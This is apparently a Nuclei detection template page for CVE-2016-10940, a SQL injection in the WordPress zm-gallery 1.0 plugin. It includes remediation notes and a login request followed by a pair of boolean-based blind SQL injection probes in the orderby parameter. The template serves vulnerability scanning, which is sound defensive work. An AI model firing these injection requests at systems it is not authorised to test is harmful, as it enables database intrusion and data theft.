WordPress zm-gallery plugin 1.0 SQL Injection

ID: CVE-2016-10940

Severity: high

Author: cckuailong,daffainfo

Tags: cve,cve2016,wpscan,sqli,wp,wordpress,wp-plugin,authenticated,zm-gallery_project

Description

zm-gallery plugin 1.0 for WordPress is susceptible to SQL injection via the order parameter.

YAML Source

id: CVE-2016-10940

info:
  name: WordPress zm-gallery plugin 1.0 SQL Injection
  author: cckuailong,daffainfo
  severity: high
  description: zm-gallery plugin 1.0 for WordPress is susceptible to SQL injection via the order parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Update to the latest version of the zm-gallery plugin or apply the patch provided by the vendor.
  reference:
    - https://wpscan.com/vulnerability/c0cbd314-0f4f-47db-911d-9b2e974bd0f6
    - https://lenonleite.com.br/en/2016/12/16/zm-gallery-1-plugin-wordpress-blind-injection/
    - https://nvd.nist.gov/vuln/detail/CVE-2016-10940
    - http://lenonleite.com.br/en/2016/12/16/zm-gallery-1-plugin-wordpress-blind-injection/
    - https://wordpress.org/plugins/zm-gallery/#developers
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2016-10940
    cwe-id: CWE-89
    epss-score: 0.00776
    epss-percentile: 0.80947
    cpe: cpe:2.3:a:zm-gallery_project:zm-gallery:1.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 3
    vendor: zm-gallery_project
    product: zm-gallery
    framework: wordpress
  tags: cve,cve2016,wpscan,sqli,wp,wordpress,wp-plugin,authenticated,zm-gallery_project

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=zm_gallery&orderby=(SELECT%20(CASE%20WHEN%20(7422=7422)%20THEN%200x6e616d65%20ELSE%20(SELECT%203211%20UNION%20SELECT%208682)%20END))&order=desc HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-admin/admin.php?page=zm_gallery&orderby=(SELECT%20(CASE%20WHEN%20(7422=7421)%20THEN%200x6e616d65%20ELSE%20(SELECT%203211%20UNION%20SELECT%208682)%20END))&order=desc HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 302 && status_code_2 == 200 && status_code_3 == 200'
          - 'contains(body_2, "[zm_gallery id=")'
          - 'contains(body_2, "<th scope=\"row\" class=\"check-column\">")'
          - '!contains(body_3, "<th scope=\"row\" class=\"check-column\">")'
        condition: and
# digest: 490a004630440220181f2dd20776310ff3f0f3adda30f0862034b2585e0da29a2cc9c21e03d8283f02206f7e7515d7c953caf8d29f1c3bb0eb024a63be35c94485e225198456eea52180:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2016/CVE-2016-10940.yaml"

View on Github